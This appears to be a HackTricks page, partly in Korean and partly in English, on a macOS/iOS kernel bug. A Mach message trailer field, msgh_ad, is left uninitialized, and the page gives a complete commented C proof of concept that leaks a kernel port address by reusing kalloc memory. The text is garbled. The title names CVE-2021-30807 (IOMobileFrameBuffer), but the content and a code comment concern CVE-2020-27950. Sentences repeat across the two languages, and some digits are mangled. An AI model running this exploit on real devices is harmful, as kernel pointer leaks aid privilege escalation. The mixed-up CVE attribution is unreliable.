CVE-2021-30807: IOMobileFrameBuffer OOB

Reading time: 11 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

취약점

여기에 great explanation of the vuln here가 있지만, 요약하면:

커널이 받는 모든 Mach 메시지는 끝에 **"trailer"**가 붙습니다: 메타데이터(seqno, sender token, audit token, context, access control data, labels...)를 담는 가변 길이 struct입니다. 커널은 메시지 버퍼에 항상 가능한 가장 큰 trailer (MAX_TRAILER_SIZE)를 예약하지만, 일부 필드만 초기화한 뒤 나중에 사용자 제어 receive 옵션에 따라 어떤 trailer 크기를 반환할지 결정합니다.

These are the trailer relevant structs:

c
typedef struct{
mach_msg_trailer_type_t       msgh_trailer_type;
mach_msg_trailer_size_t       msgh_trailer_size;
} mach_msg_trailer_t;

typedef struct{
mach_msg_trailer_type_t       msgh_trailer_type;
mach_msg_trailer_size_t       msgh_trailer_size;
mach_port_seqno_t             msgh_seqno;
security_token_t              msgh_sender;
audit_token_t                 msgh_audit;
mach_port_context_t           msgh_context;
int                           msgh_ad;
msg_labels_t                  msgh_labels;
} mach_msg_mac_trailer_t;

#define MACH_MSG_TRAILER_MINIMUM_SIZE  sizeof(mach_msg_trailer_t)
typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))

그런 다음, trailer object가 생성될 때 일부 필드만 초기화되며, max trailer size는 항상 예약됩니다:

c
trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size);
trailer->msgh_sender = current_thread()->task->sec_token;
trailer->msgh_audit = current_thread()->task->audit_token;
trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0;
trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
[...]
trailer->msgh_labels.sender = 0;

예를 들어 mach_msg()를 사용해 mach 메시지를 읽으려고 할 때, 메시지에 trailer를 추가하기 위해 ipc_kmsg_add_trailer() 함수가 호출됩니다. 이 함수 내부에서 trailer 크기가 계산되고 몇몇 다른 trailer 필드들이 채워집니다:

c
if (!(option & MACH_RCV_TRAILER_MASK)) {                                                       [3]
return trailer->msgh_trailer_size;
}

trailer->msgh_seqno = seqno;
trailer->msgh_context = context;
trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option);

option 파라미터는 사용자가 제어하므로, if 검사에 통과하는 값을 전달해야 합니다.

이 검사를 통과하려면 유효하고 지원되는 option을 전송해야 합니다:

c
#define MACH_RCV_TRAILER_NULL   0
#define MACH_RCV_TRAILER_SEQNO  1
#define MACH_RCV_TRAILER_SENDER 2
#define MACH_RCV_TRAILER_AUDIT  3
#define MACH_RCV_TRAILER_CTX    4
#define MACH_RCV_TRAILER_AV     7
#define MACH_RCV_TRAILER_LABELS 8

#define MACH_RCV_TRAILER_TYPE(x)     (((x) & 0xf) << 28)
#define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24)
#define MACH_RCV_TRAILER_MASK        ((0xf << 24))

하지만 MACH_RCV_TRAILER_MASK가 단순히 비트를 검사하기 때문에, 08 사이의 아무 값이나 전달하면 if 문 안으로 들어가지 않습니다.

그런 다음, 코드에서 계속 보면:

c
if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) {
trailer->msgh_ad = 0;
}

/*
* The ipc_kmsg_t holds a reference to the label of a label
* handle, not the port. We must get a reference to the port
* and a send right to copyout to the receiver.
*/

if (option & MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_LABELS)) {
trailer->msgh_labels.sender = 0;
}

done:
#ifdef __arm64__
ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread));
#endif /* __arm64__ */

return trailer->msgh_trailer_size;

Were you can see that if the option is bigger or equals to MACH_RCV_TRAILER_AV (7), the field msgh_ad is initialized to 0.

여기서 optionMACH_RCV_TRAILER_AV (7)보다 크거나 같으면 필드 **msgh_ad**가 0으로 초기화되는 것을 볼 수 있습니다.

If you noticed, msgh_ad was still the only field of the trailer that was not initialized before which could contain a leak from previously used memory.

살펴보면, **msgh_ad**는 이전에 초기화되지 않은 트레일러의 유일한 필드로, 이전에 사용된 메모리에서 유래한 leak을 포함할 수 있었습니다.

So, the way avoid initializing it would be to pass an option value that is 5 or 6, so it passes the first if check and doesn't enter the if that initializes msgh_ad because the values 5 and 6 don't have any trailer type associated.

따라서 이를 초기화하지 않도록 하는 방법은 option 값으로 5 또는 6을 전달하는 것입니다. 그러면 첫 번째 if 검사를 통과하고 **msgh_ad**를 초기화하는 if에 들어가지 않는데, 이는 값 56이 어떤 트레일러 타입과도 연관되어 있지 않기 때문입니다.

Basic PoC

Inside the original post, you have a PoC to just leak some random data.

Inside the original post, 단순히 무작위 데이터를 leak하는 PoC가 있습니다.

Leak Kernel Address PoC

The Inside the original post, you have a PoC to leak a kernel address. For this, a message full of mach_msg_port_descriptor_t structs is sent in the message cause the field name of this structure in userland contains an unsigned int but in kernel the name field is a struct ipc_port pointer in kernel. Thefore, sending tens of these structs in the message in kernel will mean to add several kernel addresses inside the message so one of them can be leaked.

Inside the original post, kernel 주소를 leak하는 PoC가 있습니다. 이를 위해 mach_msg_port_descriptor_t 구조체들로 가득한 메시지를 보냅니다. userland에서 이 구조체의 name 필드는 unsigned int를 담고 있지만, kernel에서는 name 필드가 struct ipc_port 포인터입니다. 따라서 메시지에 이런 구조체들을 수십 개 전송하면 kernel 내부 메시지에 add several kernel addresses inside the message가 되어 그 중 하나를 leak할 수 있게 됩니다.

Commetns were added for better understanding:

이해를 돕기 위해 주석을 추가했습니다:

c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <mach/mach.h>

// Number of OOL port descriptors in the "big" message.
// This layout aims to fit messages into kalloc.1024 (empirically good on impacted builds).
#define LEAK_PORTS 50

// "Big" message: many descriptors → larger descriptor array in kmsg
typedef struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_port_descriptor_t sent_ports[LEAK_PORTS];
} message_big_t;

// "Small" message: fewer descriptors → leaves more room for the trailer
// to overlap where descriptor pointers used to be in the reused kalloc chunk.
typedef struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_port_descriptor_t sent_ports[LEAK_PORTS - 10];
} message_small_t;

int main(int argc, char *argv[]) {
mach_port_t port;       // our local receive port (target of sends)
mach_port_t sent_port;  // the port whose kernel address we want to leak

/*
* 1) Create a receive right and attach a send right so we can send to ourselves.
*    This gives us predictable control over ipc_kmsg allocations when we send.
*/
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);

/*
* 2) Create another receive port (sent_port). We'll reference this port
*    in OOL descriptors so the kernel stores pointers to its ipc_port
*    structure in the kmsg → those pointers are what we aim to leak.
*/
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &sent_port);
mach_port_insert_right(mach_task_self(), sent_port, sent_port, MACH_MSG_TYPE_MAKE_SEND);

printf("[*] Will get port %x address\n", sent_port);

message_big_t   *big_message   = NULL;
message_small_t *small_message = NULL;

// Compute userland sizes of our message structs
mach_msg_size_t big_size   = (mach_msg_size_t)sizeof(*big_message);
mach_msg_size_t small_size = (mach_msg_size_t)sizeof(*small_message);

// Allocate user buffers for the two send messages (+MAX_TRAILER_SIZE for safety/margin)
big_message   = malloc(big_size   + MAX_TRAILER_SIZE);
small_message = malloc(small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE);

/*
* 3) Prepare the "big" message:
*    - Complex bit set (has descriptors)
*    - 50 OOL port descriptors, all pointing to the same sent_port
*    When you send a Mach message with port descriptors, the kernel “copy-ins” the userland port names (integers in your process’s IPC space) into an in-kernel ipc_kmsg_t, and resolves each name to the actual kernel object (an ipc_port).
*    Inside the kernel message, the header/descriptor area holds object pointers, not user names. On the way out (to the receiver), XNU “copy-outs” and converts those pointers back into names. This is explicitly documented in the copyout path: “the remote/local port fields contain port names instead of object pointers” (meaning they were pointers in-kernel).
*/
printf("[*] Creating first kalloc.1024 ipc_kmsg\n");
memset(big_message, 0, big_size + MAX_TRAILER_SIZE);

big_message->header.msgh_remote_port = port; // send to our receive right
big_message->header.msgh_size        = big_size;
big_message->header.msgh_bits        = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0)
| MACH_MSGH_BITS_COMPLEX;
big_message->body.msgh_descriptor_count = LEAK_PORTS;

for (int i = 0; i < LEAK_PORTS; i++) {
big_message->sent_ports[i].type        = MACH_MSG_PORT_DESCRIPTOR;
big_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
big_message->sent_ports[i].name        = sent_port; // repeated to fill array with pointers
}

/*
* 4) Prepare the "small" message:
*    - Fewer descriptors (LEAK_PORTS-10) so that, when the kalloc.1024 chunk is reused,
*      the trailer sits earlier and *overlaps* bytes where descriptor pointers lived.
*/
printf("[*] Creating second kalloc.1024 ipc_kmsg\n");
memset(small_message, 0, small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE);

small_message->header.msgh_remote_port = port;
small_message->header.msgh_bits        = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0)
| MACH_MSGH_BITS_COMPLEX;
small_message->body.msgh_descriptor_count = LEAK_PORTS - 10;

for (int i = 0; i < LEAK_PORTS - 10; i++) {
small_message->sent_ports[i].type        = MACH_MSG_PORT_DESCRIPTOR;
small_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
small_message->sent_ports[i].name        = sent_port;
}

/*
* 5) Receive buffer for reading back messages with trailers.
*    We'll request a *max-size* trailer via MACH_RCV_TRAILER_ELEMENTS(5).
*    On vulnerable kernels, field `msgh_ad` (in mac trailer) may be left uninitialized
*    if the requested elements value is < MACH_RCV_TRAILER_AV, causing stale bytes to leak.
*/
uint8_t *buffer = malloc(big_size + MAX_TRAILER_SIZE);
mach_msg_mac_trailer_t *trailer; // interpret the tail as a "mac trailer" (format 0 / 64-bit variant internally)
uintptr_t sent_port_address = 0; // we'll build the 64-bit pointer from two 4-byte leaks

/*
* ---------- Exploitation sequence ----------
*
* Step A: Send the "big" message → allocate a kalloc.1024 ipc_kmsg that contains many
*         kernel pointers (ipc_port*) in its descriptor array.
*/
printf("[*] Sending message 1\n");
mach_msg(&big_message->header,
MACH_SEND_MSG,
big_size,            // send size
0,                   // no receive
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);

/*
* Step B: Immediately receive/discard it with a zero-sized buffer.
*         This frees the kalloc chunk without copying descriptors back,
*         leaving the kernel pointers resident in freed memory (stale).
*/
printf("[*] Discarding message 1\n");
mach_msg((mach_msg_header_t *)0,
MACH_RCV_MSG,        // try to receive
0,                   // send size 0
0,                   // recv size 0 (forces error/free path)
port,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);

/*
* Step C: Reuse the same size-class with the "small" message (fewer descriptors).
*         We slightly bump msgh_size by +4 so that when the kernel appends
*         the trailer, the trailer's uninitialized field `msgh_ad` overlaps
*         the low 4 bytes of a stale ipc_port* pointer from the prior message.
*/
small_message->header.msgh_size = small_size + sizeof(uint32_t); // +4 to shift overlap window
printf("[*] Sending message 2\n");
mach_msg(&small_message->header,
MACH_SEND_MSG,
small_size + sizeof(uint32_t),
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);

/*
* Step D: Receive message 2 and request an invalid trailer elements value (5).
*         - Bits 24..27 (MACH_RCV_TRAILER_MASK) are nonzero → the kernel computes a trailer.
*         - Elements=5 doesn't match any valid enum → REQUESTED_TRAILER_SIZE(...) falls back to max size.
*         - BUT init of certain fields (like `ad`) is guarded by >= MACH_RCV_TRAILER_AV (7),
*           so with 5, `msgh_ad` remains uninitialized → stale bytes leak.
*/
memset(buffer, 0, big_size + MAX_TRAILER_SIZE);
printf("[*] Reading back message 2\n");
mach_msg((mach_msg_header_t *)buffer,
MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), // core of CVE-2020-27950
0,
small_size + sizeof(uint32_t) + MAX_TRAILER_SIZE, // ensure room for max trailer
port,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);

// Trailer begins right after the message body we sent (small_size + 4)
trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t));

// Leak low 32 bits from msgh_ad (stale data → expected to be the low dword of an ipc_port*)
sent_port_address |= (uint32_t)trailer->msgh_ad;

/*
* Step E: Repeat the A→D cycle but now shift by another +4 bytes.
*         This moves the overlap window so `msgh_ad` captures the high 4 bytes.
*/
printf("[*] Sending message 3\n");
mach_msg(&big_message->header, MACH_SEND_MSG, big_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

printf("[*] Discarding message 3\n");
mach_msg((mach_msg_header_t *)0, MACH_RCV_MSG, 0, 0, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

// add another +4 to msgh_size → total +8 shift from the baseline
small_message->header.msgh_size = small_size + sizeof(uint32_t)*2;
printf("[*] Sending message 4\n");
mach_msg(&small_message->header,
MACH_SEND_MSG,
small_size + sizeof(uint32_t)*2,
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);

memset(buffer, 0, big_size + MAX_TRAILER_SIZE);
printf("[*] Reading back message 4\n");
mach_msg((mach_msg_header_t *)buffer,
MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5),
0,
small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE,
port,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);

trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t)*2);

// Combine the high 32 bits, reconstructing the full 64-bit kernel pointer
sent_port_address |= ((uintptr_t)trailer->msgh_ad) << 32;

printf("[+] Port %x has address %lX\n", sent_port, sent_port_address);

return 0;
}

참고자료

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기